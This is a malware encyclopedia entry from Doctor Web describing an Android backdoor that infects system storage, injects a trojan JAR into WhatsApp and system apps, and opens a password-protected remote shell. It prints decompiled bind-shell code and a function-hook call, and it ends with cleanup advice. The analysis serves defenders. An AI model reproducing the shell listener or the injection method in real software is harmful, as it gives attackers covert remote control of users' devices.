FOR CUSTOMERS

Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Android.BackDoor.3104

Added to the Dr.Web virus database: 2022-07-22

Virus description added:

  • SHA1: b4bf9edf011e35fd049c2862e898a492bc76dc7d (libmtd.so)

Description

Android.BackDoor.3104 is a backdoor that infects the system storage area of Android devices. It is a native Linux library that places another trojan—Android.Backdoor.854.origin—into the directories of target programs. This particular modification attacks the WhatsApp and WhatsApp Business messenger apps. In addition, Android.BackDoor.3104 starts a local server on the infected device, allowing a remote or local client to connect and work with the mysh console program specified by the attackers.

Operating routine

The backdoor is located in /system/lib/libmtd.so. It launches whenever any app accesses the /system/lib/libcutils.so system library, which has been modified in a specific way. So, when any program uses it, a trojan library will be initialized. Dr.Web detects this modified library as Android.BackDoor.3105.

Upon initialization, Android.BackDoor.3104 reads data from /proc/self/cmdline. Based on this data and depending on which program was used to cause it to start, the backdoor performs different actions.

If the data from /proc/self/cmdline contains a wpa_supplicant line corresponding to the eponymous system app, the trojan launches a local server at 0[.]0.0.0:937. That server then awaits an incoming connection. It requires a password for successful authorization. Once a connection has been established, a local or remote client can connect and work with the mysh console app, which must first be installed on the device or initially present in its firmware.

Below is the backdoor’s code fragment that is responsible for the local server implementation. This server is used to connect to the specified console app:


socket_ = socket(AF_INET, SOCK_STREAM, 0);
if ( socket_ != -1 )
{
  *(_DWORD *)&addr.sa_family = 0xA9030002;
  *(_DWORD *)&addr.sa_data[2] = 0;
  *(_DWORD *)&addr.sa_data[6] = 0;
  *(_DWORD *)&addr.sa_data[10] = 0;
  if ( bind(socket_, &addr, 16) != -1 && listen(socket_, 20) != -1 )
  {
    addr_len = 16;
    while ( 1 )
    {
      connection_fd = accept(socket_, &sockaddr_, &addr_len);
      pid = fork();
      if ( !pid )
      {
        pid2 = fork();
        if ( pid2 >= 1 )
          goto LABEL_17;
        pid = pid2;
        if ( !pid2 )
        {
          close(socket_);
          v10 = strlen(ENTERPASS);
          write(connection_fd, ENTERPASS, v10);
          memset_0((int)ch_arr, 0x1000u);
          read(connection_fd, ch_arr, 0x1000u);
          if ( strncmp(ch_arr, PASSWORD, 5u) )
          {
            close(connection_fd);
            exit(0);
          }
          v11 = strlen(WELCOME);
          write(connection_fd, WELCOME, v11);
          pid = 0;
          dup2(connection_fd, 0);           // stdin
          dup2(connection_fd, 1);           // stdout
          dup2(connection_fd, 2);           // stderr
          execl("/system/bin/sh", "mysh", 0);
        }
      }
      close(connection_fd);
      waitpid(pid, 0, 0);
    }
  }
}

If data from /proc/self/cmdline contains a /system/bin/app_process string, Android.BackDoor.3104 reads the string from /system/etc/media_resource.conf. The latter is used later when the method is called from the .JAR file of Android.Backdoor.854.origin. This .JAR file is installed at the second stage of device infection.

Next, Android.BackDoor.3104 hooks an open function call in the libdvm library:


j_bytehook_init(0, 0);
return j_bytehook_hook_single("libdvm.so", 0, "open", sub_1D728, 0, 0);

Upon hooking it, the trojan verifies whether the file /proc/self/cmdline contains the name of the target app.

The trojan targets the following programs:

  • com.android.settings—the “Settings” system app;
  • com.android.phone—the “Phone” system app;
  • com.whatsapp.w4b—the WhatsApp Business messenger;
  • com.whatsapp—the WhatsApp messenger.

If it detects them, Android.BackDoor.3104 places the .JAR file PrivteProvide.jar of Android.Backdoor.854.origin into the directories of the corresponding programs:

  • /data/data/com.android.phone/files/.art/PrivteProvide.jar
  • /data/data/com.android.settings/files/.art/PrivteProvide.jar
  • /data/data/com.whatsapp.w4b/files/.art/PrivteProvide.jar
  • /data/data/com.whatsapp/files/.art/PrivteProvide.jar

After that, it calls the getInstance(String) method of the com.androidx.v13.PrivteProvide class.

When launched, the copied module operates in the context of the target apps and is capable of performing different malicious actions.

Android.BackDoor.3104 also has the following functions:

  • rtool_execStart(char *a1)—using it, the trojan connects to the 0[.]0.0.0:937 local server, enters the password and executes a given command;
  • rtool_changeElf(char *a1, char *a2, char *s)—using it, the trojan makes changes to a specified file.

Indicators of compromise

More details on Android.BackDoor.3105

More details on Android.Backdoor.854.origin

More details on Android.FakeUpdates.1.origin

News about the trojan

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

© Doctor Web
2003 — 2022

Doctor Web is a cybersecurity company focused on threat detection, prevention and response technologies